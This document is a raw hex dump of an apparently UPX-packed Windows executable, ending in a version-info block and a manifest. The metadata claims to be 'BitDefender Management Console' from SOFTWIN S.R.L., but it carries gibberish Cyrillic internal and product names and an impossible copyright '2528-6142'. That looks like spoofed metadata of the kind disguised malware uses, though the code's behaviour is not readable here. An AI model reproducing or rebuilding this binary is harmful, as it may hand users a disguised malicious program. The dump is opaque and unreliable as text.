EF6F7D210BE5A6E7C4295B5FEA58CA6CE218BED1FA022A3C802C5494BC6B6B20F3852D6E1BD9A73FF47B83CEE8D651B1FD648F34307EF35CBDD06921DA37EA8D258F1B1D3C3EAE7A5D05B9B081814AA8374A68475273BB52A361086CCE9BD06DB0BD89DC80C09FA95F1533F2552CFD2F3CAD047F496600CB406EB56A416FD1BF0009C6A11D37573A3E40B25EC05BD1A979421F910ECC687B61132EB775708A0C785BB7DED0C48D83A82783E14B40CA0C8FADB4D100C00620A6A2DBFF2FFCECDF308CEE183C4C5B47B2EB63BE04DD7527002867680D990A4B3508EF4633E2371602037211A6DB80EA5B74E10617B5FF91782EBEE0D0FF8D8D2E87EBBCBDC8487E3F7DC4FE0783814FB44BE230103102B0806F1BD83E716EE3177A9611FF458047DE6E37F003006247FE01D398BF18F9EF51B3047E70A196A92ACF000DE510614BB8911601ADE2D97510E6BF506D83088065074F005BBEDC9EBBC00B1BB44D72A9370144BFECC66F01B45B201D5E2CC30F101E411BF4162772FFD63140B6FF25B7B06D609E3C79AA003A5C771D6A55B14AFDB78E8A187C8058D0AFEFE1B7ED8F6F68E8B6895596D8EBAAB388146D8EDCA0860AA562848D0A270B2FF14694DC783F1C030C7774548E0E2E513EE8DE56F0DD10FDF6F6FEA3164FFDD36E9E26B9327ABEB9AB5A5BADA60FA7841EC328D55471D0674363BBBD516DA14DA808F3D583CFB1F0A60222B156A3E0A347A21BFC52D4FFDABE11B774635599205FBAD1B7176DA6E921183D33A1DD02EEA8F2A2EF32F4FCC03980FD99F13E127CB8FE17F89716EE22EF187E15F3F1E7ED326CADBDA84BE7C106758742B6B0168FD115A04B5A13E676B534457D43CB798860F89910795BE99782BF6F3F7577BA94742E8DCD3A8A8056EF5EE8769A7280CE082BF7479EF94300872D171A7457341777CBA7062EBBB68DB4D5E087F625E87B059E3E6FDF5187AB1FC1F602163211BB506EB0F43788AE1B778EB5841A87021917FEDB1BF7450429700E6419360449073C7E4DC56F2DD5064D2A07934E5AE8E00B85E806A58320732FDF6FE07FFB2B57F21AF56895F904F520E3A28CAAF6CE9F4D8760E985DCFB55AD5C10E19BEA8B37BACFAA12AA7BEDAF15D4B940A237B0C04E90C7CBE0D2FC400611BD5094A1D2C86E8CF47FEDADD920045767BDC210290490096D4122F8C64790A7F3225065C9D1E8B6681821C3475992BEBFD4B83B99575BF9401F68807EBA06B40BDC2EB50DFE4B150138E7E74B43C4256EB4483CFB0B9061757CB1A3534B2085B4F3A07F97DA50C311700722F9FA50F278A06DE1201BC9CAB9136FCBA6EAFED658D7941126005FEE072628B792855FEADE608E8891C105229EEF01840D1BEF0DF7D258CE01CD048F2F1E95D3E0DB1AB573B7848BFCB4E29088304FF1DDA035301CD5C8171B4426F8024BC4C66F0B76E36C3EDC5A1BFF7D46C361EAAC5043DF93CF8B179C5AFE972AB74BEE5DE048BAA618409E5B175ADD8D31ED364BB3D5F87114C4976E55C7E9C1AA24CA6557685B88DF214EB8C28360F7E98720810234150619B306D7D1355CE2DF719B88F012C1E7162577A302B9CB4F857ED6ED5BC0D28EEA3A0DBC9766BF69332D6D68E378616C55E0342831230C74FC024DF1619E3E490069A11BABC142FC423C8C50B580D0071880AD502CD3E646A61F766B2B3AA1E5394781EEB8D86F50C8F0100240282B1C2BF104D2E6FEB7416CBA61386CB0F3F1B1D7FEB79EA18D97CAC168B0BCB54C62146ED1C0A305D9080DE92D7385DADA16A66D7B005FF47F34FA5D1118C96CDF4862FAA46DF9171C2F22CFCB27E49B9162FC52DFB5B0A18488A7D9A0589A25FF4BED2CF85255E23266EC6F9FA606A03674297A297E81DF2704C1FADD0A5B138285C1C090998972928B256EE72EC7C486D7EA0B8D5FE81B1092C2BD2FD706287F835D71210AAFD242174406ED376E70B7A6F5198472A52077053B0DF8BF418127CC4D64E01242BB76F911F005236EDDE0FDF7A8036DDBFB4415DAD6C1ADFCD513265D487A996EFD853AD8CCF136E21C205DBB7584F80B4B5CA056BAE61B57F2748F0D6C7DD4D75F1F09B902D7F9A8126D851FF10D8BE9FF0D2EB4972FB60E26A8E802C0FF87EA8286AD16FF022F01063AC100B45E10C0AFB104DD0AE32E1CFE02A06AF852AD85140624006BA2C8A3968DBE95A851CA3C09EF47FB6237DA8537C4805C22C1C228503B5104C5A9D6827B763006D14A942E60D88A24EF096E0097BFC959818280E43FD3093DD103B7EFA03987B6C65761B042711F14706FFD5FF87D81FD2C207C68FF613D9A5E7D78F8AAA4988683D8EA08F814710C4118E2F34B791DB005FCB5006399D2E7985CBA44FD04AFE02243C29860B77B3FC3DFF8854A11E8481087A26B06ABECB174055CA947F914F6530E58005A339E75114FA52AC44281234052A935FD7F07E8C460D3209AB29D4F604A668FCED3DA8ADF6E6FF10CDA3670CAF03B080D79078BEBA0DA515C29830D92103FD217367E72A78FDE8DC2B7154C8F2EEB6B40977AE99F9DC2B1C51F078781B8833768CF4EDD18F856C426A3E1DD0B379D37BC56B4F0A66805421347FB8A6E68B0C2A4FC53BE82EB85866FDDA825161C4195BD54D13CD7567C0BF88156CEA319E280B8D03D75BFBD44D137055876692532788DF13FB4FDC2D2E947E119E59D80899651CA027869BBB52F895B2D865D068E81300ADF682C551BDB1DB6279094800AD5B6F1D1B163793A35D6498AFA169F2AF825315F53B87FC67EFE2A0525F355B6C97A08F840DBEA173CA86EF1014C9A62A9045D13A1AF22BD7D807E13AD5D73C778874DA049552C11DC6F1240C7970BFCC2AE11B824D8D4F67349E2BFF9492DD1196A10563B753814B536ECBE0BCD010DD90D84092227FCC3B610DDA2208050F34A58CBA33B28B68B68D00AB31793F8AD7E6B529BBC06872041DA1128DAFF56FF52C75F0E4C9C7D28C910F643A414B49A60406DDC62032F04FD67EE4C521148BF2BF55FE0C58FC1696D94B10E5AA9EE150741E136148602F520C8D25C63605F32DDBD2317168A3C9ED032F9856109BB5753D41B86000AF5969793EA2E5C6845711C2F787300CA28B5B1ABBB0403266588EE67AA0F6E37162E6B016F077D6EDC8817F878C692A93586DA81A9BB15B1D44BA512EB1D2AE0A7A374FB63002B01E77C14566F213E0297E083A2FDA20B35D9B0612845C367715C9B9364A871F80FB4C20362F16D32297E158817D8B57E2C5008CE0F8D96E8AD7E1D74A909BD95DF0BD046DDE4C82E937F2E136758FE5FE063D8C624E1D5D32B8F2C91053E9D9FE8154BDCDCDA0B7B7FF6C2CDC9FD9788BE990528DFD374A7D7B860828C1EEE8582A52FAF670E6F305EEC22A9AD30B57942C073AF60A2B5FF6E3874D3D29C9624987CECFE5FDB2DDEBAB6FBC38206F9E85B5828BF45B4B6FCB4E384E46D095B3832EAB75DFC476418ED84D849A13437A11180C1D0448AFF0D9E02EC198C25871DE009D90A57C10BBC02BCC9230B14307508CDC40E2837F4B7DB40920A76010F49A4A339363EE417574E2F2FF4FF8E92209BF810FB57D9C5873C5F1BC104408AF08EA5B78A2BB14618F4E5B22485A3E1C6B3E0BE4A1E4D1348FBD2066CDB3DDBDB573BE09650146E744761BFE83B838C3726C39BA6A05BA664C94F8E32FA56D1C623394DCAF1E134613BA8FFDCD8AA4BBB6E8060FC0786F76D04A587AD9C6375F773FED2052E49702BB90608CC2810CBE5809076E806064AEBFF80D98C2F5CA8D58C82D05281DA2344D0A1A6DFE80C9D02135B436F889B0601877101B87CE9034D3C948F4965DD481134BA1869C0174A2D6EA83857A39824D180A6C17F53C07516A5BED1E80B6B7BC5C0AA1BADDF68A479A34A76A986B2E35D54AD16EAD921A311A59895976AA2CB5EA186014C00FFC0AD419F8FC9C9D040E1C2828676A5BEFD02BF2403E2010DDC1F805735C7F4CA2F5B7CA91C7578E2103593103A79686BA8F881E5C9A70EF2038EFCDFE2ADD6C35B44C0D0D5F93895D50176B451F978ECB300DAD47D9980A4154B7FABFF4090603458847D0FFAF0566D9ED7D9E705CC1D3687FDAD96D843C05F73B7C6E0B41370C1A90568A2196972792E8EE2BF10B547F4BCECCFFEBCD1229B9AFF5B0B9708EA141267AC2058FF3B24210B56CA112DB5E8E58E0332A8132D2DFD7F2F6848F8850F239F18D7573C6F1BC77FA106DA1EE48233B053E0EFFCF0DCC855618915DEC3AC05C1D528380E207F01E036EA1B5B7A737AF09D172E3304E2ADDADAE9DF5A4E5E1CAD074240FF854A010A28862E1948541396082E3D8AF64F86336AD7157CDBC4379A6CC7DC41B1A218400148AB5BFF9DBB150A250C2628AFCCC618635A70FC2842A98DAD06F83958E7A321D117FDD0951085B1DE18450ABEFD42C134A6D212F114C46662B0C4EF6ED0B9626A2F1AA373D90D9F8016FE876AE36981B761A23E891A5C02895B142A40BD20D7E61DC04DDBE803DF52A828FA2874A10B458BD37E5EE4C35BDB51B04D38E4B5E83D180AEB4FED166BCC6F0D068904251C1F6A6DE276E6EF3494A04CF805BF1BB7855F3547CCE26D5BA21A2B619EC1E1E347978A3BCDF390576C26F7C3F1DB52EDA4176822005A8657E0B8908B7FB9CEC0F405D01F8C922F446E2D111737E8CAA129285791473704DD1E22F8D5A701F0FF2C17F85D18958ACB64A6F8F7AC0E088EB616785B470441B5BE22BF257A5BAA4BB355CE268E5B50DCB9F85522D3809CE9CABF10282E5029287F748E0012FF2D3E283335605B18C3CBA2B820E9B8D1BFABACAD3A56373E39EA5D6651CD2CF5A55BDB1326236845E541ADFA3BB2968AC2027C03868D21BD04DD28B130D97F856F3AD26FDFA2B71473130C7D5C9E3857FF3A25AD404BD181890768B958885A860B7C1A0B5BFF61A49689674384D4F4FBC0224C805CDD54FDFD0F70C5D658D73A51B2EBF87FC3AD024D610FA31A819614F0F9F5188E3A80D5DEE0069350C3AAC8EFD01BD9C78DA676768A5BF3000A5CE91125786B69A4E3B4BE04F0F18910DCD05FE8676C160FD342B25F32FDAF49257E2ED4016DE20D5B9FBA3A95BAD16F1BA61EEF4A0DD6A1F870737528964C5F0808970432387D517AC28D42DD5111991657E03CCFC56D79E371AD5A2E90045F98683AD5801BB4C3C7104C7AF2296AF0462DB7AB504A2704D4D0B6A2450D09E7D1BD64DADA98C3FA590E545A9E52C250B50D6CA2F56E6D91CE829B0836650AD54A7FCC82065FE805324604F4552272424F7725FE12F1F037062B5B5106BB8E234E7EABDFC1F6A7D8031C74D88D812408A88064DCED85862E84012A7067CEE15C078DB635A8F8C49B51760F113443A3A5C9FFEC42A94B74423FCA88E0A32AF65FA0C5BAA8510B1DC59949850C560F28C446ABFDD68DAC8DAAA56E2E370C987936851B2DE8ED0EA23C63AD533EC21D8C2AB6DFF58BE7DBD626BE2DA331A11648C4D8965A5ABBC8A1A98104FF105F28350002D9D859F8DF04D4C68FEA31E8F016F94EA082D17054B85CA8516BDAFBD37F2B6F3927876A682C72B9DB02F953F281A2BA827B09B221902BF2625A26F82DDEC09880F0726308B8BD5C9B4B74445B5C61076838940D0AF1C0120E90630E99AF54B48866EAEA64DB970CF1DD2CA294C973B8097AE2CE181BC042B47F1487985C08C4F642DB5C87315A5B74DE003438DD4BAFB6ED6241C4B424616008B98512F0DB78E4EDC3B82927AE3D98B5F1160BD42E3DA7F11DE289A1425730F85D5BFE0F89B4F4D76DB31B849254BD4E924CE1367417BC933664B95EB4A61BB75BC1AA5E8AEA494DECFEA800ED16D0173EB04D792040F7F35D014AC46F2B3CC2A3A52E4AB6DD6ED95AF225122858998D83468D6F8D6E0CE2275924AD842F6E5072E5B6DFDE789908EC04241C041BED52D14FA226E80729D74553B7A059B020E09C1E355A7F6B5B1F3218C991D9082F9FAD6ED416E629FD519DCCBBD0FF1677CFB4DE89A4D82CD1F4A4D9C8F66FBCB97EA3342E5501670E2D599D5BE26C8D880300EDC98212E1F3C4770415889F61CA5AE818A51AB4BA4F844D27AC7EAFAAFFC42AF796E32DD62A8C6DE5C25B7F13CE7A1BCC088F9E6306A47A42EE7FA9A5A27D6EDF886B96FA4880FBFFD2B7CC8762DD2A81666387A10199D26DF980584E3C5B807609789F7E35D889068EF85B04377A68886F48447653CC0CA30916D8352DD503CFCC1AF083F660B4000CA6BD2ABE400BBF9B92E443CD0DD6C9BF6FD5DB0CDE60BB3953181FADBC8F8AA6EB2BB6DA5003F927DFCD7611A23928EC9E3B17B91634B708FE5FEABC1C981542C000FD1E0D97E193E160A96E447D1056EABC1BBFC4D63B214157194359B8067F20ADF576C3D81EC9DF98BCBD04335B14F7A27F57F84610ECD72148E1EC0B7FDC45D19EB76A2180978427DD21A9C59181479735B97CBCE7E0ED89C2107D4A3EF1B393ABD66D09A79BF6EED76E4BBF7C09B75155856AEBF05BBA9058E1009BDAC2C21665B2CE47A3AE308052D120709089EE171601CF687C97C13096EDC3AF8ADEB8D1BB1092BAB2D2EE77513450794695E111AECFBFB175E3434203FD24945ED0A5AD80DCEE05D8762D77E7C531D5E8B1B99D39725A850CB52A1344F2EEBFD42572F49EA8F54C76069B58667F1E1614FA02A801BF7A5EB06843B5802B62CAAB6DAB1AB66DEA4C1917CB0169BD48D4FA167F00E093913B3727B1808F4167AB0A852AFB050AD410442A62FC756F71EB6F1E5643F9A9530D156261927B36FD6E6F0BFCE0158AB03295AB331F6A00E923679C6DD4880592405C7EBE2D51DA4AE5A01D1318906B11DF0E319C81D316BC160A1768C376B3CE6725356DCA85900E68F402B5B2576B20E8875F861D918B55899D4A3675152C11F55149DFEAB7054EF28B4353B031600437B756610392AFFB5EDF184E3D6CFD6F2B84EA0093FCF86FFDE4ABFF83BD68451D7506E00E9A93B9F8A97499EBFB2FF5AAE977E986DF529AB11AF993FF6749410FAF4A0C2D347CAA40911CF69308FE83A3FAF612943E20C414345DF68BC87CAB5A68826187C92FD54D2F5BD7025A7169285902816C443FFAA9D81F72349DE6C197592F6CB71A5A5806BD0E15423E67620857FC8553357D5D5804F97ABEFFB54CB53CCDAE00E8A94BA03FDF2EDCE003F09199D1F75108E46F602C3CB2C00517FA0A97797F89DEFD53046CC45BDBA769C3333F10B4E450FC428177BBA0421CEAC8216F24F0EA42BEC45F4BBDF6968B0F113DAA5A078858E810B83AC7207CED5FA28DB164D9715D862B8425308AC24206A05E3CFD4F814BFD3BDCBAA6181E300A342495BEE6D1B4CD55EFDA40CE051484F6201A716FAD51AAC5F7CBAEABD4DF892D0CAD0D103242458BB8D4377ADD6D464EE14105F6FCD860D5471BB665B67F89D393D5DBC65BBF354A642895F551A600CEB81F25C2B8C1DB026BDC4F2FF170CF301B37B870811D4024C7FCECCD48056F7057070C4272FBC8635F934780D611B5C18B40E4DE39499B37A89AE348BB84E0477F04B061A9D1A4F5B09B57E7F5C117FE0503774D21A780DB3A3D86509467105BB84333A58C7BC5ABFAAE6FFEB8073A13582C7053831AD86F1E5E9A87C1EF2E2C68DD26C0169FA1051AF307F2D8280A2C971ACCE908A0FB47ABF0BA92C5FB90F6FDFA1BDBA5B9E1034BE53B7384D11248E0A5BA15358109F45A336FA2B6E0499AD544736C8DD2760A16553045640E69002EB1FDBD1CB089013923DEC04C003636DC89BCA6739D48BB6E71176FD0658304BAE2E580D3B454AB0A6CA34C9FB0DB4B6DDB75180C6F997FDB07967C7D63832FF5D2C1AA894E9BA14A14056C045084FBBF90E5D7A9D60455294077EC33BDF6067E2B992E9F3EE473E17378C441AD142D5A6883215C903596557B23E813D5161F1CE33FD6FEC2F66D61ACC8431DDD3A4F2C75FDF167E956D4A2DC4B4B4022758C0B7CEAEBB3E82885D3EE8EFCBB6B8A12F16BB730C382BE71B668307D005E4E45676189E5B97C83D6D5740765BDBAE7BAAE8425A2F45B7B6C664D8F4259985BDB6D6DD0137CB835D9F9A9EF1F2DE212D04C88AF5712F11B375480123FCA980CE411F8A3B844814B3BF8C3049008431D712D1FBEAC4500EFDB1703F0B844B33DE603627214EDFF5FA2AC491DE4B8286B803D466143697931DA32F6BC00DB1B9CF9C291F419BB5BDB73B0B1D55B14FAE5C11576ED7C6851B76E0A03F2D754CDADFE56BF89FC31044D8580E429B75B6ED6AF000BB95E165668A2E502523AB27FE9FFD21ACF631FC8C38CCFE021CC1F0527FE0D83AF961CDC17D8FE72FED45FD577033DCEF1350F048C31F81B6FA51448EA19203F3A8EE9F6AA024B40BF2334D042A3CF8E023982CED478C7D3194490E43DD5285729EDA6DFFAC0983F0DC95A0CB9C535F06886E46E7D0268DCE8044CF8F90102DABCF1C6EF6B30186F80923A4A617860E182C2621B5C8A2F68BB7DDDB1BB9834FA7830D1DA1CA4DCE123905A891C94A98A8112BD55A3EBB9D18853D3F5A70411D0D1BA113314D836D0A3BDC1FFBF520DE1BF600E901C291D8076BE505EFD5387DD28D16AA9111033C59152FDB6B1D8C939309204FA10E244C8FEB7D8A029FE1E44A70C8CE4E0773D1874DBFAEF73CBFD7400FA308740606BBC7270184D5DA0BF39633ACA034C17EA27041BEFF4C2A5E87F1CA01881A20F93D02D89F6160B18B0075EDD3D48DB1C049478B10619C50A6BA316E89F40B67415800D41DBB1400B0A5EC3EF9F371AF8B6618417180FD618C6F5C50D8FA169830B0391D552B25DC09DB785CB8686827AAEFB549F338DFF46FF86022A9B8A699AFC206EC689266300E4A16D354BC58DE203B3F430AD0AF18EB56E97B62E20EF9B32D2BE517AF235D5A05D7304234AA8362E5E6CB8224FFC56F78B506DD0B67E8B69D04BEE33E28B79B6152A941A2A1585B811795BC36FA2975E31AE3485EC8227288FD8051B6C9D671CE6EF40F6E2DB1B9902B8A30CD24134988371E05FE01B17AF1A7C55523680FC52007AFF4E16B5B0DB1E2B5CDD897B083B28118EFE2BD156780A20D9A7D2B7A2DB0AF27CD1459784727C5DE956F0C2B714273FEE6916EF4AA5AA61695AAC5831016C140BF412F590B9033F022B68052C3CBBA96BD685BE41A05ED083789F505516B5A56D814C87EB63FA34B175FD56B0360B9523DC53D06B7420B778DB0195AB4C11D9AC54410A3CE802FAFF31E6AFD43A0C372C8F82C9B973DA086B11ED8D396A3AA3850B2D6F5FFA76D5A70D174399E996C3B580421D162DA7157FE1C57CE560ECF050684EF1E71071831F3E92BDE68F0C2DD406FD0F2126CB82A92F8DA8ADF5B641FB29C1F03D849D7092A35AD8370B17D5D6EA86125BFCC104858144106B1F2C4D746BB79442118A4D05CFC3E819DDDA6FF8A1CEEC89B11DBC44373926CE45FA0053572568CA26D9A86882D5F6F45273F2A8020C36DA3151D2FF8DAF228257469E579D042CC70FEA95225AD56668DB35098B34BE12B9A3018D0274780691E0A5BF414F70B332FD40EFE71AA7B0375C225AF84A38615FD369B08AF4ADB8F55710F7AD55918EE3461F460E71CB10B0EB9380172B76F0FFD451F5EC943DEF1882580780AEDE0BB4FE152C3F0BA020211CED7FE1421B2D17E238849715E59F044130C5462B5074EB1EEB6F1F14DC761F3148C05954F179C44DE1DE82923BA83A06F237F1176CF0BFBC9D407886AD3C2D6308D0AB600B7A0422F57FEF9AB323FEBF70A71C3197FAF103047645272600B5DD2377138D6D8D202922E709217255976A577CA40DDEEE4777F0C3A5CF7D428EFF02722072F17CF54FDD8D6AA5B56809EA321B7B521BDE2A7C4790141BE7A33E33DC692018F8AF96E8CDFA0690E093F04F7D882D1820962F3186D8F806EA1DB4102635E6018B013FF45BA3E29F2113EC75E40E9B6063B08307BE53045151ADA95714808E4D14764BF1BE0D0D4307E0C7F802BF019BF83475407D7E352A7DF5BDD55AE80542C7120A776F70CA12557717860088175A88CA9B820DE0CDDDBFB64EFD64BEC1EDA647D7233182796B1BD1F5417A54822DA2834B1419C17DBB2DDC76EFF182DA1562AC9654B31F66817629BAE32CAACDE1FC0F239F9E5445BBFEE957428F2A6D14769550F675D7DA59C56F5D025C6114D1187434AFC937017FC9703F5D6104A765D0AA5D13E815FE465B805E5D984AD394BF7174A254E34637DCC6E99F0AFE1D3777153822CB80B798C785596F231ED5B753E5C77B7815402FF0216A0D1704F06DBB3D3E58E0AD8815CE25F1383748DFDAAAB70FAE5383FED60925B7A7EE1B3788B7E3DB0B82F32BBC6538C612BDA88537BEBDA7E2BA00F0EE8E99FBCD800C88E225B1C6EDAD292380804E14279754780CD3F60DC1E82BE4939DE14DAB10C805A5AD35CF9510C7FF4217FAB6B3F42988B0EFCEF8B84006967E2BFC33877881E85B2EB07580C6DC56E90C6F3718C0FEA660B030658B66C4755CA81B1413804D5E7F064E807714EF6EEC98061357DB00C3EC0C3639C3AD3A137C331D5B86313914BE15F505D6B70C1C3A68A0986EC0FF46BF8D522F80D44E1F1320B52582B4B90A38C4F05C05EEB680DF14DD5BEF558202D5553020DEB50284D6EE12C232FEAD21E8FF1A8D1603976D40FC480903BCFD3702D3907F20B760D640E6AA0D67390B4BC41687242246F74F6ABC356A0AB71FA3DAF1B1B72854257C638D283F77777BE864049C332C404D006CA9208E97D63528746785309E825E75707EA9EAF61CEDBF3596381C5AA10C8DA9FF7775A1F37B00BD56DDA0C13BAC67E26512D2C70FEA1BCDD1E11F8FC748D094600B5744DB1DBB3C7D072C5D895D9DC24E31964178D8B71BAA37B8D594F035D6C5057496FC62C9C4ED620335621CDA11C213892F0BDCB10850EB37C8E24A85CA01DA2A47476C23C416F4FF6E0755336F8F35B906F806F73CFECA02D12DDEBA004C2B36B645AAFABFE81237A29175807EFFF35512B7E0A52E371412B35498B60A9F82EDD94D3D3C833E70B3D678FBA5F2A8CF6DEA4E3400167C515D87A8CED11B34A922790196FA12B7A2C203D86BBE29B4055578C07FC21BBC431B0FDB52BBB3BBA60D150D7483AB68FD6D082B0F54E7E2F22B43EE2F541E69A0149B00A0BC0D6B54855F60283D7D175D60EFD727FEBFA16E8955E3FEEC80B07D99408E3953458C94D9DE760414A75953441F38C8D18BBF10AD9BCE9D5DAD2E4A0E44E112B4BD6E1822AEBE71CDE04595DD6FD07598421E60163E1C61F7D15C215B476D810B8FF8073919508D1B0253D0223ED2D0E180B770FDF681F90059DC0082A8BBA384D7A4499B76B7C2BE42E62777CAD96E0631C49AC21674FDD64D041701FC1CAD1DCCB8856E34E06D7EFCFD40363AB18161E14A300975F306DE980DDAC2BF61D15F74DD78DEBF1F1FE4CBDFBA2DF1996D709C398469A39B9D397E81FEBB3265FEC3E421A4B27C80A8408032857FA3FD6C41386078702A5EE840813DD41FCCEF115BB547088FEE61E94B6C2D40385BACBE18D9A533781C2FB075BDCE6E23240A0942FE0DC077B78E83CCD6AC23C410348245856E8DFE6DBFCF77481D4B884909A4DD2B805F8ADE1B643704AAAEC409437F61FD30E34A6FC3C66CF7332D16DE759D7C0570BA094D76431400144ADDBBA03D74FD80DAB7D868A68D5F40F60197F617BCFDEF285D9F975BFB1CC8767B23874A23660C975A801F010CECB78EB6FDA75AD81CFCE8F8158EDB102535CE9270D2520BEEB68F196F4B933839966289ADFEB015E1521DAD806D0B04D11A24AC41DB5B8113A1C8BF3028437FB65B0D6E86365FB5B0627C693CEEB7AE0A6D8A8C637DD739B0D9099678EB069647DAAB1A464BB16D7FB45D433B2979F86A4922AF931FB195FEA3800A493A3F403DA3B8DAD605FABFD8CD3C93388A231CA804A5E3E621B0AB4B4DFD60E1E884E802F82F3646336EFBB66319BE305B3D71AC0A71ED4C62777CFF0B641C96B5EFC5B5EE6C4055F96532C0398DA86FE802BA03CF46B47BCD57E46FB1C1D287A37D348F46661A64814089DF62262597DF62DC33FEB7D446CB73652ACDC882A0FCD21B40D70F4702292E4B52EA7C7E110458151820AAB00897514104B2A3002A90460154208C02A84019055081320AA00264144005C828800AAB510015F19EA9A8207C30ED7FABA06D4C6F63616C467265650A96BFBDFD4578697450720F657373174765744375726E7FFBDBC31249641451756572795003666F726D616EDB5D6B6F15436F751F0E456561760D726FBBDD6D3F694D536563076F6E15491C9BDBB6B76C3D6B65640A634B6D4D59533FD6DA2F4C617374455C45674D6F64756CDAFF6DDB6548506405419161644C696272616ACA1258CA0D9542B5BBC3FE5669727475D65796654669188DBDB99317416C940D556E68306465CCBDADF84A70B225CE486BED65B3703C705468058A6FADECE6DACBE745697AF12EB017CC2E98423E5213B6B2E7078EDBC657AD0DD666862DAD4D1963D7B5F6DB42799F546F5769647ABBA84354952B8B39115B7D53ADE16E85E32C5374610F70CF116CEB0ACF7F4366737BC200618516198A7D6159586B6146D653696E67733C33BC454F626A17296F6D30EC963D76AF6ED79745760BF3FB66871F104E616DBCD310570C233BB203414841FEC2B60B084E3944653374A185B13056028B8C04B68499C7E42B4B090B07F008291B618B2729AD2D3206A559BD71FA8B6D767929BA506F697421EC2E842E5F414350DEE1ED0AA746D48EC161677BF792534909E04465D2120658C5659C81903216854E4A5A496FB55CF7B27B6D5D1154A06B96D054651B2673B48020496C2C6370D086F11E1D41033ADDC021A3574B00891E4031012E98DAD71D48A270DDF1216C64F0C661DB53502668D36767416388C0ECE19277731020F07609C3BA0354D9726776AD70618B5380613C49633D0AA1AD6C6544207EB9D885A582A51B6F7166798E029BBD21F46B746F708E13602B0BD84766465BE1C55613F0ADCD49B1952DB444CB4057E925E11476780BC36E4D616F912D61362D4A1E505868ED686508BE70758D157E0BEC0297244162E7B03761EC8E0C5F21F012C72B2584C8E3C7216523B041D6E1C046082B3129A13056966142610921650D487312424A485C8CB310C2CA36F067C24A18098BDCEEC6208C50896391B0425A97E75B09232C34464292524222DFA632B6ED3030AC6E1C68BF022994ADCA7D09235B16375DF246B6CA1A620F6919231269215E0C4B652B644B9660360B8B9578324730891B0DD2A16F77F2F860E06EB16E7551B8426F78412016AC3D711F100D2D7C30FA53736E446C67490A6DD7C4BB81313E777370723A660A2A1B743F897973224D4E72C882ED6EE8497344976F67316DEEB041C391776C786D98F013AFB548EC9F7462656772B7D686758C64AF4666D563684FAC2C619B26AD4E1D823966504516BACCE05CA1077BA5215A1670B4EEC1DC1A52421E11A12D5436C5615AD70F929DD81E6C52D9ACE7BC995B607058E11F36171F4D436DA452B54C6505A3B6D56AF075302030A3D6B8046970599E6EB849B4985674A51B1E96CD4CB773AAA3536B0C2B1848EDEE8A2F82B576A154346E73ACB29D2D210813B49C6830F7D9CC56A45655706432B61809B3C3D89DC0368B6449E43F3FB8843025B8A1875701356A6785ED3156244DAD10361E0D74666BC51E133A9184889361C85A9B2CF7F18C5081564608636B4362121646C8D0F86D73A58411256E062786EE5636CB384B65797358082B6B901DAB4D68985B126114491FB22B6598A446ABF8506F900DA3AD8A69343F7124AC84CF2B4BA49034C3A26CB12718056BAD4BFBE14C6A1DD273A5432BD696B4846156EF96B0843432AA0FC36DC76625A5005045034CDFFB56407ABC7CB1470F14E0EE59B7FC000F010B0107900CB413FE1C04D93AFBBA1003A00D400B02BD0A3B77D8B20800043CA0140C3D3CBD819DBD021E34100706AFFCB69700C0433B5077600144E7C21064002E0264656EC8DE7BE390077F2095C860B1A62E9061D70394836D062C02402E7228200164B37D1001271A2801A6FB5EA973A30C23602706DF85B692428F3DCC47172A000000E09F020000900000FF0000000000000000000000000060BE00F041008DBE0020FEFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE009002008B0709C0743C8B5F048D8430E8C4020001F35083C708FF9638C50200958A074708C074DC89F95748F2AE55FF963CC5020009C07407890383C304EBE1FF964CC502008BAE40C502008DBE00F0FFFFBB0010000050546A045357FFD58D871F02000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E93E5BFDFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020010000000200000801800000060000080000000000000000000000000000001000100000038000080000000000000000000000000000001001904000050000000A4D00200D8020000000000000000000000000000000000000000000000000100010000007800008000000000000000000000000000000100190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F00000014020000000030003400300039003000340042003000000040000900010043006F006D00700061006E0079004E0061006D0065000000000053004F0046005400570049004E00200053002E0052002E004C002E0000000000680008000100460069006C0065004400650073006300720069007000740069006F006E000000000042006900740044006500660065006E0064006500720020004D0061006E006100670065006D0065006E007400200043006F006E0073006F006C006500000000003C0009000100460069006C006500560065007200730069006F006E00000000003100300036002E00340032002E00370033002E00360031000000000034000A00010049006E007400650072006E0061006C004E0061006D006500000044043604370440044E043A0448044D04490400003800060001004C006500670061006C0043006F007000790072006900670068007400000032003500320038002D00360031003400320000003C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E000